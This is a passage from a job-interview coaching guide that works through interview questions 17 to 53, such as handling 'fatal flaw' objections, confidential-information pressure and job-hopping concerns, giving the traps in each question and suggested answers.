<p>Another way to answer this question would be to describe your intention to broaden your master of an area of growing importance in your field. For example, this might be a computer program you’ve been meaning to sit down and learn&hellip; a new management technique you’ve read about&hellip;or perhaps attending a seminar on some cutting-edge branch of your profession. Again, the key is to focus on something not essential to your brilliant performance but which adds yet another dimension to your already impressive knowledge base.</p>
<hr>
<ol start="17">
<li>What are your outside interests?</li>
</ol>
<p>TRAPS: You want to be a well-rounded, not a drone. But your potential employer would be even more turned off if he suspects that your heavy extracurricular load will interfere with your commitment to your work duties.</p>
<p>BEST ANSWERS: Try to gauge how this company’s culture would look upon your favorite outside activities and be guided accordingly. You can also use this question to shatter any stereotypes that could limit your chances.</p>
<p>If you’re over 50, for example, describe your activities that demonstrate physical stamina.
If you’re young, mention an activity that connotes wisdom and institutional trust, such as serving on the board of a popular charity. But above all, remember that your employer is hiring your for what you can do for him, not your family, yourself or outside organizations, no matter how admirable those activities may be.</p>
<hr>
<ol start="18">
<li>The “Fatal Flaw” question</li>
</ol>
<p>TRAPS: If an interviewer has read your resume carefully, he may try to zero in on a “fatal flaw” of your candidacy, perhaps that you don’t have a college degree or you’ve been out of the job market for some time or you never earned your CPA, etc. A fatal flaw question can be deadly, but usually only if you respond by being overly defensive. BEST ANSWERS: As every master salesperson knows, you will encounter objections (whether stated or merely thought) in every sale. They’re part and parcel of the buyer’s anxiety. The key is not to exacerbate the buyer’s anxiety but diminish it. Here’s how.</p>
<p>Whenever you come up against a fatal flaw question:</p>
<ol>
<li>Be completely honest, open and straightforward about admitting the shortcoming. (Showing you have nothing to hide diminishes the buyer’s anxiety.)</li>
<li>Do not apologize or try to explain it away. You know that this supposed flaw is nothing to be concerned about, and this is the attitude you want your interviewer to adopt as well.</li>
<li>Add that as desirable as such a qualification might be, its lack has made you work all the harder throughout your career and has not prevented you from compiling an outstanding tack record of achievements. You might even give examples of how, through a relentless commitment to excellence, you have consistently outperformed those who do have this qualification. Of course, the ultimate way to handle “fatal flaw” questions is to prevent them from arising in the first place. You will do that by following the master strategy described in Question 1, i.e., uncovering the employers needs and them matching your qualifications to those needs. Once you’ve gotten the employer to start talking about his most urgently-felt wants and goals for the position, and then help him see in step-by-step fashion how perfectly your background and achievements match up with those needs, you’re going to have one very enthusiastic interviewer on your hands, one who is no longer looking for “fatal flaws”.</li>
</ol>
<hr>
<ol start="19">
<li>How do you feel about reporting to a younger person (minority, woman, etc)?</li>
</ol>
<p>TRAPS: It’s a shame that some interviewers feel the need to ask this question, but many understand the reality that prejudices still exist among some job candidates, and it’s better to try to flush them out beforehand. The trap here is that in today’s politically sensitized environment, even a well-intentioned answer can result in planting your foot neatly in your mouth. Avoid anything which smacks of a patronizing or an insensitive attitude, such as “I think they make terrific bosses” or “Hey, some of my best friends are&hellip;” Of course, since almost anyone with an IQ above room temperature will at least try to steadfastly affirm the right answer here, your interviewer will be judging your sincerity most of all. “Do you really feel that way?” is what he or she will be wondering. So you must make your answer believable and not just automatic. If the firm is wise enough to have promoted peopled on the basis of ability alone, they’re likely quite proud of it, and prefer to hire others who will wholeheartedly share their strong sense of fair play.</p>
<p>BEST ANSWER: You greatly admire a company that hires and promotes on merit alone and you couldn’t agree more with that philosophy. The age (gender, race, etc.) of the person you report to would certainly make no difference to you. Whoever has that position has obviously earned it and knows their job well. Both the person and the position are fully deserving of respect. You believe that all people in a company, from the receptionist to the Chairman, work best when their abilities, efforts and feelings are respected and rewarded fairly, and that includes you. That’s the best type of work environment you can hope to find.</p>
<hr>
<ol start="20">
<li>On confidential matters&hellip;</li>
</ol>
<p>TRAPS: When an interviewer presses you to reveal confidential information about a present or former employer, you may feel it’s a no-win situation. If you cooperate, you could be judged untrustworthy. If you don’t, you may irritate the interviewer and seem obstinate, uncooperative or overly suspicious.</p>
<p>BEST ANSWER: Your interviewer may press you for this information for two reasons. First, many companies use interviews to research the competition. It’s a perfect set-up. Here in their own lair, is an insider from the enemy camp who can reveal prized information on the competition’s plans, research, financial condition, etc. Second, the company may be testing your integrity to see if you can be cajoled or bullied into revealing confidential data.</p>
<p>What to do? The answer here is easy. Never reveal anything truly confidential about a present or former employer. By all means, explain your reticence diplomatically. For example, “I certainly want to be as open as I can about that. But I also wish to respect the rights of those who have trusted me with their most sensitive information, just as you would hope to be able to trust any of your key people when talking with a competitor&hellip;” And certainly you can allude to your finest achievements in specific ways that don’t reveal the combination to the company safe. But be guided by the golden rule. If you were the owner of your present company, would you feel it ethically wrong for the information to be given to your competitors? If so, steadfastly refuse to reveal it. Remember that this question pits your desire to be cooperative against your integrity. Faced with any such choice, always choose integrity. It is a far more valuable commodity than whatever information the company may pry from you. Moreover, once you surrender the information, your stock goes down. They will surely lose respect for you. One President we know always presses candidates unmercifully for confidential information. If he doesn’t get it, he grows visibly annoyed, relentlessly inquisitive, It’s all an act. He couldn’t care less about the information. This is his way of testing the candidate’s moral fiber. Only those who hold fast are hired.</p>
<hr>
<ol start="21">
<li>Would you lie for the company?</li>
</ol>
<p>TRAPS: This another question that pits two values against one another, in this case loyalty against integrity.</p>
<p>BEST ANSWER: Try to avoid choosing between two values, giving a positive statement which covers all bases instead. Example: “I would never do anything to hurt the company..” If aggressively pressed to choose between two competing values, always choose personal integrity. It is the most prized of all values.</p>
<hr>
<ol start="22">
<li>Looking back, what would you do differently in your life?</li>
</ol>
<p>TRAPS: This question is usually asked to uncover any life-influencing mistakes, regrets, disappointments or problems that may continue to affect your personality and performance. You do not want to give the interviewer anything negative to remember you by, such as some great personal or career disappointment, even long ago, that you wish could have been avoided. Nor do you wish to give any answer which may hint that your whole heart and soul will not be in your work.</p>
<p>BEST ANSWER: Indicate that you are a happy, fulfilled, optimistic person and that, in general, you wouldn’t change a thing.
Example: “It’s been a good life, rich in learning and experience, and the best it yet to come. Every experience in life is a lesson it its own way. I wouldn’t change a thing.”</p>
<hr>
<ol start="23">
<li>Could you have done better in your last job?</li>
</ol>
<p>TRAPS: This is no time for true confessions of major or even minor problems.</p>
<p>BEST ANSWER: Again never be negative.</p>
<p>Example: “I suppose with the benefit of hindsight you can always find things to do better, of course, but off the top of my head, I can’t think of anything of major consequence.” (If more explanation seems necessary) Describe a situation that didn’t suffer because of you but from external conditions beyond your control. For example, describe the disappointment you felt with a test campaign, new product launch, merger, etc., which looked promising at first, but led to underwhelming results.</p>
<p>“I wish we could have known at the start what we later found out (about the economy turning, the marketplace changing, etc.), but since we couldn’t, we just had to go for it. And we did learn from it&hellip;”</p>
<hr>
<ol start="24">
<li>Can you work under pressure?</li>
</ol>
<p>TRAPS: An easy question, but you want to make your answer believable.</p>
<p>BEST ANSWER: Absolutely&hellip;(then prove it with a vivid example or two of a goal or project accomplished under severe pressure.)</p>
<hr>
<ol start="25">
<li>What makes you angry?</li>
</ol>
<p>TRAPS: You don’t want to come across either as a hothead or a wimp.</p>
<p>BEST ANSWER: Give an answer that’s suited to both your personality and the management style of the firm. Here, the homework you’ve done about the company and its style can help in your choice of words.</p>
<p>Examples: If you are a reserved person and/or the corporate culture is coolly professional:</p>
<p>“I’m an even-tempered and positive person by nature, and I believe this helps me a great deal in keeping my department running smoothly, harmoniously and with a genuine esprit de corps. I believe in communicating clearly what’s expected, getting people’s commitment to those goals, and then following up continuously to check progress.”</p>
<p>“If anyone or anything is going off track, I want to know about it early. If, after that kind of open communication and follow up, someone isn’t getting the job done, I’ll want to know why. If there’s no good reason, then I’ll get impatient and angry&hellip;and take appropriate steps from there. But if you hire good people, motivate them to strive for excellence and then follow up constantly, it almost never gets to that state.”</p>
<p>If you are feisty by nature and/or the position calls for a tough straw boss. “You know what makes me angry? People who (the fill in the blanks with the most objectionable traits for this type of position)&hellip;people who don’t pull their own weight, who are negative, people who lie&hellip;etc.”</p>
<hr>
<ol start="26">
<li>Why aren’t you earning more money at this stage of your career?</li>
</ol>
<p>TRAPS: You don’t want to give the impression that money is not important to you, yet you want to explain why your salary may be a little below industry standards.</p>
<p>BEST ANSWER: You like to make money, but other factors are even more important.</p>
<p>Example: “Making money is very important to me, and one reason I’m here is because I’m looking to make more. Throughout my career, what’s been even more important to me is doing work I really like to do at the kind of company I like and respect.” (Then be prepared to be specific about what your ideal position and company would be like, matching them as closely as possible to the opportunity at hand.</p>
<hr>
<ol start="27">
<li>Who has inspired you in your life and why?</li>
</ol>
<p>TRAPS: The two traps here are unpreparedness and irrelevance. If you grope for an answer, it seems you’ve never been inspired. If you ramble about your high school basketball coach, you’ve wasted an opportunity to present qualities of great value to the company.</p>
<p>BEST ANSWER: Have a few heroes in mind, from your mental “Board of Directors” – Leaders in your industry, from history or anyone else who has been your mentor. Be prepared to give examples of how their words, actions or teachings have helped inspire your achievements. As always, prepare an answer which highlights qualities that would be highly valuable in the position you are seeking.</p>
<hr>
<ol start="28">
<li>What was the toughest decision you ever had to make?</li>
</ol>
<p>TRAPS: Giving an unprepared or irrelevant answer.</p>
<p>BEST ANSWER: Be prepared with a good example, explaining why the decision was difficult&hellip;the process you followed in reaching it&hellip;the courageous or effective way you carried it out&hellip;and the beneficial results.</p>
<hr>
<ol start="29">
<li>Tell me about the most boring job you’ve ever had.</li>
</ol>
<p>TRAPS: You give a very memorable description of a very boring job. Result? You become associated with this boring job in the interviewer’s mind.</p>
<p>BEST ANSWER: You have never allowed yourself to grow bored with a job and you can’t understand it when others let themselves fall into that rut.</p>
<p>Example: “Perhaps I’ve been fortunate, but that I’ve never found myself bored with any job I have ever held. I’ve always enjoyed hard work. As with actors who feel there are no small parts, I also believe that in every company or department there are exciting challenges and intriguing problems crying out for energetic and enthusiastic solutions. If you’re bored, it’s probably because you’re not challenging yourself to tackle those problems right under your nose.”</p>
<hr>
<ol start="30">
<li>Have you been absent from work more than a few days in any previous position?</li>
</ol>
<p>TRAPS: If you’ve had a problem, you can’t lie. You could easily be found out. Yet admitting an attendance problem could raise many flags.</p>
<p>BEST ANSWER: If you have had no problem, emphasize your excellent and consistent attendance record throughout your career. Also describe how important you believe such consistent attendance is for a key executive&hellip;why it’s up to you to set an example of dedication&hellip;and why there’s just no substitute for being there with your people to keep the operation running smoothly, answer questions and handle problems and crises as they arise. If you do have a past attendance problem, you want to minimize it, making it clear that it was an exceptional circumstance and that it’s cause has been corrected. To do this, give the same answer as above but preface it with something like,
“Other that being out last year (or whenever) because of (your reason, which is now in the past), I have never had a problem and have enjoyed an excellent attendance record throughout my career. Furthermore, I believe, consistent attendance is important because&hellip;” (Pick up the rest of the answer as outlined above).</p>
<hr>
<ol start="31">
<li>What changes would you make if you came on board?</li>
</ol>
<p>TRAPS: Watch out! This question can derail your candidacy faster than a bomb on the tracks – and just as you are about to be hired.
Reason: No matter how bright you are, you cannot know the right actions to take in a position before you settle in and get to know the operation’s strengths, weaknesses key people, financial condition, methods of operation, etc. If you lunge at this temptingly baited question, you will probably be seen as someone who shoots from the hip. Moreover, no matter how comfortable you may feel with your interviewer, you are still an outsider. No one, including your interviewer, likes to think that a know-it-all outsider is going to come in, turn the place upside down and with sweeping, grand gestures, promptly demonstrate what jerks everybody’s been for years.</p>
<p>BEST ANSWER: You, of course, will want to take a good hard look at everything the company is doing before making any recommendations.</p>
<p>Example: “Well, I wouldn’t be a very good doctor if I gave my diagnosis before the examination. Should you hire me, as I hope you will, I’d want to take a good hard look at everything you’re doing and understand why it’s being done that way. I’d like to have in- depth meetings with you and the other key people to get a deeper grasp of what you feel you’re doing right and what could be improved.”</p>
<p>“From what you’ve told me so far, the areas of greatest concern to you are&hellip;” (name them. Then do two things. First, ask if these are in fact his major concerns. If so then reaffirm how your experience in meeting similar needs elsewhere might prove very helpful).</p>
<hr>
<ol start="32">
<li>I’m concerned that you don’t have as much experience as we’d like in&hellip;</li>
</ol>
<p>TRAPS: This could be a make-or-break question. The interviewer mostly likes what he sees, but has doubts over one key area. If you can assure him on this point, the job may be yours.</p>
<p>BEST ANSWER: This question is related to “The Fatal Flaw” (Question 18), but here the concern is not that you are totally missing some qualifications, such as CPA certification, but rather that your experience is light in one area. Before going into any interview, try to identify the weakest aspects of your candidacy from this company’s point of view. Then prepare the best answer you possible can to shore up your defenses. To get past this question with flying colors, you are going to rely on your master strategy of uncovering the employer’s greatest wants and needs and then matching them with your strengths. Since you already know how to do this from Question 1, you are in a much stronger position. More specifically, when the interviewer poses as objection like this, you should&hellip;</p>
<ol>
<li>Agree on the importance of this qualification.</li>
<li>Explain that your strength may be indeed be greater than your resume indicates because&hellip;</li>
<li>When this strength is added to your other strengths, it’s really your combination of qualifications that’s most important.</li>
</ol>
<p>Then review the areas of your greatest strengths that match up most favorably with the company’s most urgently-felt wants and needs. This is powerful way to handle this question for two reasons. First, you’re giving your interviewer more ammunition in the area of his concern. But more importantly, you’re shifting his focus away from this one, isolated area and putting it on the unique combination of strengths you offer, strengths which tie in perfectly with his greatest wants.</p>
<hr>
<ol start="33">
<li>How do you feel about working nights and weekends?</li>
</ol>
<p>TRAPS: Blurt out “no way, Jose” and you can kiss the job offer goodbye. But what if you have a family and want to work a reasonably normal schedule? Is there a way to get both the job and the schedule you want?</p>
<p>BEST ANSWER: First, if you’re a confirmed workaholic, this question is a softball lob. Whack it out of the park on the first swing by saying this kind of schedule is just your style. Add that your family understands it. Indeed, they’re happy for you, as they know you get your greatest satisfaction from your work. If however, you prefer a more balanced lifestyle, answer this question with another: “What’s the norm for your best people here?” If the hours still sound unrealistic for you, ask, “Do you have any top people who perform exceptionally for you, but who also have families and like to get home in time to see them at night?”</p>
<p>Chances are this company does, and this associates you with this other “top-performers-who-leave-not-later-than-six” group. Depending on the answer, be honest about how you would fit into the picture. If all those extra hours make you uncomfortable, say so, but phrase your response positively.</p>
<p>Example: “I love my work and do it exceptionally well. I think the results speak for themselves, especially in &hellip;(mention your two or three qualifications of greater interest to the employer. Remember, this is what he wants most, not a workaholic with weak credentials). Not only would I bring these qualities, but I’ve built my whole career on working not just hard, but smart. I think you’ll find me one of the most productive people here.”</p>
<p>“I do have a family who likes to see me after work and on weekends. They add balance and richness to my life, which in turn helps me be happy and productive at work. If I could handle some of the extra work at home in the evenings or on weekends, that would be ideal. You’d be getting a person of exceptional productivity who meets your needs with strong credentials. And I’d be able to handle some of the heavy workload at home where I can be under the same roof as my family. Everybody would win.”</p>
<hr>
<ol start="34">
<li>Are you willing to relocate or travel?</li>
</ol>
<p>TRAPS: Answer with a flat “no” and you may slam the door shut on this opportunity. But what if you’d really prefer not to relocate or travel, yet wouldn’t want to lose the job offer over it?</p>
<p>BEST ANSWER: First find out where you may have to relocate and how much travel may be involved. Then respond to the question. If there’s no problem, say so enthusiastically.</p>
<p>If you do have a reservation, there are two schools of thought on how to handle it. One advises you to keep your options open and your reservations to yourself in the early going, by saying, “no problem”. You strategy here is to get the best offer you can, then make a judgment whether it’s worth it to you to relocate or travel. Also, by the time the offer comes through, you may have other offers and can make a more informed decision. Why kill of this opportunity before it has chance to blossom into something really special? And if you’re a little more desperate three months from now, you might wish you hadn’t slammed the door on relocating or traveling.</p>
<p>The second way to handle this question is to voice a reservation, but assert that you’d be open to relocating (or traveling) for the right opportunity. The answering strategy you choose depends on how eager you are for the job. If you want to take no chances, choose the first approach. If you want to play a little harder-to-get in hopes of generating a more enticing offer, choose the second.</p>
<hr>
<ol start="35">
<li>Do you have the stomach to fire people? Have you had experience firing many people?</li>
</ol>
<p>TRAPS: This “innocent” question could be a trap door which sends you down a chute and lands you in a heap of dust outside the front door. Why? Because its real intent is not just to see if you’ve got the stomach to fire, but also to uncover poor judgment in hiring which has caused you to fire so many. Also, if you fire so often, you could be a tyrant.</p>
<p>So don’t rise to the bait by boasting how many you’ve fired, unless you’ve prepared to explain why it was beyond your control, and not the result of your poor hiring procedures or foul temperament.</p>
<p>BEST ANSWER: Describe the rational and sensible management process you follow in both hiring and firing.</p>
<p>Example: “My whole management approach is to hire the best people I can find, train them thoroughly and well, get them excited and proud to be part of our team, and then work with them to achieve our goals together. If you do all of that right, especially hiring the right people, I’ve found you don’t have to fire very often.”</p>
<p>“So with me, firing is a last resort. But when it’s got to be done, it’s got to be done, andthe faster and cleaner, the better. A poor employee can wreak terrible damage in undermining the morale of an entire team of good people. When there’s no other way, I’ve found it’s better for all concerned to act decisively in getting rid of offenders who won’t change their ways.”</p>
<hr>
<ol start="36">
<li>Why have you had so many jobs?</li>
</ol>
<p>TRAPS: Your interviewer fears you may leave this position quickly, as you have others. He’s concerned you may be unstable, or a “problem person” who can’t get along with others.</p>
<p>BEST ANSWER: First, before you even get to the interview stage, you should try tominimize your image as job hopper. If there are several entries on your resume of less than one year, consider eliminating the less important ones. Perhaps you can specify the time you spent at previous positions in rounded years not in months and years.</p>
<p>Example: Instead of showing three positions this way:
6/1982 – 3/1983, Position A;
4/1983 – 12/1983, Position B;
1/1984 – 8/1987, Position C;</p>
<p>…it would be better to show simply:
1982 – 1983, Position A;
1984 – 1987 Position C.</p>
<p>In other words, you would drop Position B altogether. Notice what a difference this makes in reducing your image as a job hopper. Once in front of the interviewer and this question comes up, you must try to reassure him. Describe each position as part of an overall pattern of growth and career destination. Be careful not to blame other people for your frequent changes. But you can and should attribute certain changes to conditions beyond your control.</p>
<p>Example: Thanks to an upcoming merger, you wanted to avoid an ensuing bloodbath, so you made a good, upward career move before your department came under the axe of the new owners.</p>
<p>If possible, also show that your job changes were more frequent in your younger days, while you were establishing yourself, rounding out your skills and looking for the right career path. At this stage in your career, you’re certainly much more interested in the best long-term opportunity. You might also cite the job(s) where you stayed the longest and describe that this type of situation is what you’re looking for now.</p>
<hr>
<ol start="37">
<li>What do you see as the proper role/mission of…
…a good (job title you’re seeking);
…a good manager;
…an executive in serving the community;
…a leading company in our industry; etc.</li>
</ol>
<p>TRAPS: These and other “proper role” questions are designed to test your understanding of your place in the bigger picture of your department, company, community and profession….as well as the proper role each of these entities should play in its bigger picture. The question is most frequently asked by the most thoughtful individuals and companies…or by those concerned that you’re coming from a place with a radically different corporate culture (such as from a big government bureaucracy to an aggressive small company).</p>
<p>The most frequent mistake executives make in answering is simply not being prepared (seeming as if they’ve never giving any of this a though.)…or in phrasing an answer best suited to their prior organization’s culture instead of the hiring company’s.</p>
<p>BEST ANSWER: Think of the most essential ingredients of success for each categoryabove – your job title, your role as manager, your firm’s role, etc. Identify at least three but no more than six qualities you feel are most important to success in each role. Then commit your response to memory. Here, again, the more information you’ve already drawn out about the greatest wantsand needs of the interviewer, and the more homework you’ve done to identify the culture of the firm, the more on-target your answer will be.</p>
<hr>
<ol start="38">
<li>What would you say to your boss if he’s crazy about an idea, but you think it stinks?</li>
</ol>
<p>TRAPS: This is another question that pits two values, in this case loyalty and honesty, against one another.</p>
<p>BEST ANSWER: Remember the rule stated earlier: In any conflict between values, always choose integrity.</p>
<p>Example: “I believe that when evaluating anything, it’s important to emphasize the positive. What do I like about this idea?”
“Then, if you have reservations, I certainly want to point them out, as specifically, objectively and factually as I can.”
“After all, the most important thing I owe my boss is honesty. If he can’t count on me for that, then everything else I may do or say could be questionable in his eyes.” “But I also want to express my thoughts in a constructive way. So my goal in this case would be to see if my boss and I could make his idea even stronger and more appealing, so that it effectively overcomes any initial reservation I or others may have about it.” “Of course, if he overrules me and says, ‘no, let’s do it my way,’ then I owe him my full and enthusiastic support to make it work as best it can.”</p>
<hr>
<ol start="39">
<li>How could you have improved your career progress?</li>
</ol>
<p>TRAPS: This is another variation on the question, “If you could, how would you live your life over?” Remember, you’re not going to fall for any such invitations to rewrite person history. You can’t win if you do.</p>
<p>BEST ANSWER: You’re generally quite happy with your career progress. Maybe, if you had known something earlier in life (impossible to know at the time, such as the booming growth in a branch in your industry…or the corporate downsizing that would phase out your last job), you might have moved in a certain direction sooner. But all things considered, you take responsibility for where you are, how you’ve gotten there, where you are going…and you harbor no regrets.</p>
<hr>
<ol start="40">
<li>What would you do if a fellow executive on your own corporate level wasn’t pulling his/her weight…and this was hurting your department?</li>
</ol>
<p>TRAPS: This question and other hypothetical ones test your sense of human relations and how you might handle office politics.</p>
<p>BEST ANSWER: Try to gauge the political style of the firm and be guided accordingly. In general, fall back on universal principles of effective human relations – which in the end, embody the way you would like to be treated in a similar circumstance.</p>
<p>Example: “Good human relations would call for me to go directly to the person and explain the situation, to try to enlist his help in a constructive, positive solution. If I sensed resistance, I would be as persuasive as I know how to explain the benefits we can all gain from working together, and the problems we, the company and our customers will experience if we don’t.”</p>
<p>POSSIBLE FOLLOW-UP QUESTION: And what would you do if he still did not change his ways?</p>
<p>ANSWER: “One thing I wouldn’t do is let the problem slide, because it would only getworse and overlooking it would set a bad precedent. I would try again and again and again, in whatever way I could, to solve the problem, involving wider and wider circles of people, both above and below the offending executive and including my own boss if necessary, so that everyone involved can see the rewards for teamwork and the drawbacks of non-cooperation.”
“I might add that I’ve never yet come across a situation that couldn’t be resolved by harnessing others in a determined, constructive effort.”</p>
<hr>
<ol start="41">
<li>You’ve been with your firm a long time. Won’t it be hard switching to a new company?</li>
</ol>
<p>TRAPS: Your interviewer is worried that this old dog will find it hard to learn new tricks.</p>
<p>BEST ANSWER: To overcome this objection, you must point to the many ways youhave grown and adapted to changing conditions at your present firm. It has not been a static situation. Highlight the different responsibilities you’ve held, the wide array of new situations you’ve faced and conquered. As a result, you’ve learned to adapt quickly to whatever is thrown at you, and you thrive on the stimulation of new challenges. To further assure the interviewer, describe the similarities between the new position and your prior one. Explain that you should be quite comfortable working there, since their needs and your skills make a perfect match.</p>
<hr>
<ol start="42">
<li>May I contact your present employer for a reference?</li>
</ol>
<p>TRAPS: If you’re trying to keep your job search private, this is the last thing you want. But if you don’t cooperate, won’t you seem as if you’re trying to hide something?</p>
<p>BEST ANSWER: Express your concern that you’d like to keep your job search private, but that in time, it will be perfectly okay.</p>
<p>Example: “My present employer is not aware of my job search and, for obvious reasons; I’d prefer to keep it that way. I’d be most appreciative if we kept our discussion confidential right now. Of course, when we both agree the time is right, then by all means you should contact them. I’m very proud of my record there.</p>
<hr>
<ol start="43">
<li>Give me an example of your creativity (analytical skill…managing ability, etc.)</li>
</ol>
<p>TRAPS: The worst offense here is simply being unprepared. Your hesitation may seem as if you’re having a hard time remembering the last time you were creative, analytical,etc.</p>
<p>BEST ANSWER: Remember from Question 2 that you should commit to memory a list of your greatest and most recent achievements, ever ready on the tip of your tongue. If you have such a list, it’s easy to present any of your achievements in light of the quality the interviewer is asking about. For example, the smashing success you orchestrated at last year’s trade show could be used as an example of creativity, or analytical ability, or your ability to manage.</p>
<hr>
<ol start="44">
<li>Where could you use some improvement?</li>
</ol>
<p>TRAPS: Another tricky way to get you to admit weaknesses. Don’t fall for it.</p>
<p>BEST ANSWER: Keep this answer, like all your answers, positive. A good way to answer this question is to identify a cutting-edge branch of your profession (one that’s not essential to your employer’s needs) as an area you’re very excited about and want to explore more fully over the next six months.</p>
<hr>
<ol start="45">
<li>What do you worry about?</li>
</ol>
<p>TRAPS: Admit to worrying and you could sound like a loser. Saying you never worry doesn’t sound credible.</p>
<p>BEST ANSWER: Redefine the word ‘worry’ so that it does not reflect negatively on you.</p>
<p>Example: “I wouldn’t call it worry, but I am a strongly goal-oriented person. So I keep turning over in my mind anything that seems to be keeping me from achieving those goals, until I find a solution. That’s part of my tenacity, I suppose.”</p>
<hr>
<ol start="46">
<li>How many hours a week do you normally work?</li>
</ol>
<p>TRAPS: You don’t want to give a specific number. Make it too low, and you may not measure up. Too high, and you’ll forever feel guilty about sneaking out the door at 5:15.</p>
<p>BEST ANSWER: If you are in fact a workaholic and you sense this company would like that: Say you are a confirmed workaholic, that you often work nights and weekends. Your family accepts this because it makes you fulfilled.</p>
<p>If you are not a workaholic: Say you have always worked hard and put in long hours. It goes with the territory. It one sense, it’s hard to keep track of the hours because your work is a labor of love, you enjoy nothing more than solving problems. So you’re almost always thinking about your work, including times when you’re home, while shaving in the morning, while commuting, etc.</p>
<hr>
<ol start="47">
<li>What’s the most difficult part of being a (job title)?</li>
</ol>
<p>TRAPS: Unless you phrase your answer properly, your interviewer may conclude that whatever you identify as “difficult” is where you are weak.</p>
<p>BEST ANSWER: First, redefine “difficult” to be “challenging” which is more positive. Then, identify an area everyone in your profession considers challenging and in which you excel. Describe the process you follow that enables you to get splendid results and be specific about those results.</p>
<p>Example: “I think every sales manager finds it challenging to motivate the troops in a recession. But that’s probably the strongest test of a top sales manager. I feel this is one area where I excel.”</p>
<p>“When I see the first sign that sales may slip or that sales force motivation is flagging because of a downturn in the economy, here’s the plan I put into action immediately…” (followed by a description of each step in the process…and most importantly, the exceptional results you’ve achieved.).</p>
<hr>
<ol start="48">
<li>The “Hypothetical Problem”</li>
</ol>
<p>TRAPS: Sometimes an interviewer will describe a difficult situation and ask, “How would you handle this?” Since it is virtually impossible to have all the facts in front of you from such a short presentation, don’t fall into the trap of trying to solve this problem and giving your verdict on the spot. It will make your decision-making process seem woefully inadequate.</p>
<p>BEST ANSWER: Instead, describe the rational, methodical process you would follow in analyzing this problem, who you would consult with, generating possible solutions, choosing the best course of action, and monitoring the results. Remember, in all such, “What would you do?” questions, always describe your process or working methods, and you’ll never go wrong.</p>
<hr>
<ol start="49">
<li>What was the toughest challenge you’ve ever faced?</li>
</ol>
<p>TRAPS: Being unprepared or citing an example from so early in your life that it doesn’t score many points for you at this stage of your career.</p>
<p>BEST ANSWER: This is an easy question if you’re prepared. Have a recent example ready that demonstrates either:</p>
<ul>
<li>A quality most important to the job at hand; or,</li>
<li>A quality that is always in demand, such as leadership, initiative, managerial skill, persuasiveness, courage, persistence, intelligence, etc.</li>
</ul>
<hr>
<ol start="50">
<li>Have you consider starting your own business?</li>
</ol>
<p>TRAPS: If you say “yes” and elaborate enthusiastically, you could be perceived as a loose cannon in a larger company, too entrepreneurial to make a good team playe or someone who had to settle for the corporate life because you couldn’t make a go of your own business. Also too much enthusiasm in answering “yes” could rouse the paranoia of a small company indicating that you may plan to go out on your own soon, perhaps taking some key accounts or trade secrets with you. On the other hand, if you answer “no, never” you could be perceived as a security minded drone who never dreamed a big dream.</p>
<p>BEST ANSWER: Again it’s best to:</p>
<ul>
<li>Gauge this company’s corporate culture before answering and,</li>
<li>Be honest (which doesn’t mean you have to vividly share your fantasy of the franchise or bed-and-breakfast you someday plan to open).</li>
</ul>
<p>In general, if the corporate culture is that of a large, formal, military-style structure, minimize any indication that you’d love to have your own business. You might say, “Oh, I may have given it a thought once or twice, but my whole career has been in larger organizations. That’s where I have excelled and where I want to be.”</p>
<p>If the corporate culture is closer to the free-wheeling, everybody’s-a-deal-maker variety, then emphasize that in a firm like this, you can virtually get the best of all worlds, the excitement of seeing your own ideas and plans take shape…combined with the resources and stability of a well-established organization. Sounds like the perfect environment to you.</p>
<p>In any case, no matter what the corporate culture, be sure to indicate that any desires about running your own show are part of your past, not your present or future. The last thing you want to project is an image of either a dreamer who failed and is now settling for the corporate cocoon…or the restless maverick who will fly out the door with key accounts, contacts and trade secrets under his arms just as soon as his bankroll has gotten rebuilt.</p>
<p>Always remember: Match what you want with what the position offers. The more information you’ve uncovered about the position, the more believable you can make your case.</p>
<hr>
<ol start="51">
<li>What are your goals?</li>
</ol>
<p>TRAPS: Not having any…or having only vague generalities, not highly specific goals.</p>
<p>BEST ANSWER: Many executives in a position to hire you are strong believers in goalsetting. (It’s one of the reason they’ve achieved so much). They like to hire in kind.</p>
<p>If you’re vague about your career and personal goals, it could be a big turnoff to may people you will encounter in your job search. Be ready to discuss your goals for each major area of your life: career, personal development and learning, family, physical (health), community service and (if your interviewer is clearly a religious person) you could briefly and generally allude to your spiritual goals (showing you are a well-rounded individual with your values in the right order). Be prepared to describe each goal in terms of specific milestones you wish to accomplish along the way, time periods you’re allotting for accomplishment, why the goal is important to you, and the specific steps you’re taking to bring it about. But do this concisely, as you never want to talk more than two minutes straight before letting your interviewer back into the conversation.</p>
<hr>
<ol start="52">
<li>What do you for when you hire people?</li>
</ol>
<p>TRAPS: Being unprepared for the question.</p>
<p>BEST ANSWER: Speak your own thoughts here, but for the best answer weave them around the three most important qualifications for any position.</p>
<ul>
<li>Can the person do the work (qualifications)?</li>
<li>Will the person do the work (motivation)?</li>
<li>Will the person fit in (“our kind of team player”)?</li>
</ul>
<hr>
<ol start="53">
<li>Sell me this stapler…(this pencil…this clock…or some other object on interviewer’s desk).</li>
</ol>
<p>TRAPS: Some interviewers, especially business owners and hard-changing executives in marketing-driven companies, feel that good salesmanship is essential for any key position and ask for an instant demonstration of your skill. Be ready.</p>
<p>BEST ANSWER: Of course, you already know the most important secret of all great salesmanship – “find out what people want, then show them how to get it.” If your interviewer picks up his stapler and asks, “sell this to me,” you are going to demonstrate this proven master principle. Here’s how:</p>
<p>“Well, a good salesman must know both his product and his prospect before he sells anything. If I were selling this, I’d first get to know everything I could about it, all its features and benefits.”</p>
<p>“Then, if my goal were to sell it you, I would do some research on how you might use a fine stapler like this. The best way to do that is by asking some questions. May I ask you a few questions?”</p>
<p>Then ask a few questions such as, “Just out of curiosity, if you didn’t already have a stapler like this, why would you want one? And in addition to that? Any other reason? Anything else?” “And would you want such a stapler to be reliable?&hellip;Hold a good supply of staples?”</p>
<p>(Ask more questions that point to the features this stapler has.)
Once you’ve asked these questions, make your presentation citing all the features and benefits of this stapler and why it’s exactly what the interviewer just told you he’s looking for.</p>
<p>Then close with, “Just out of curiosity, what would you consider a reasonable price for a quality stapler like this…a stapler you could have right now and would (then repeat all the problems the stapler would solve for him)? Whatever he says, (unless it’s zero), say, “Okay, we’ve got a deal.”</p>
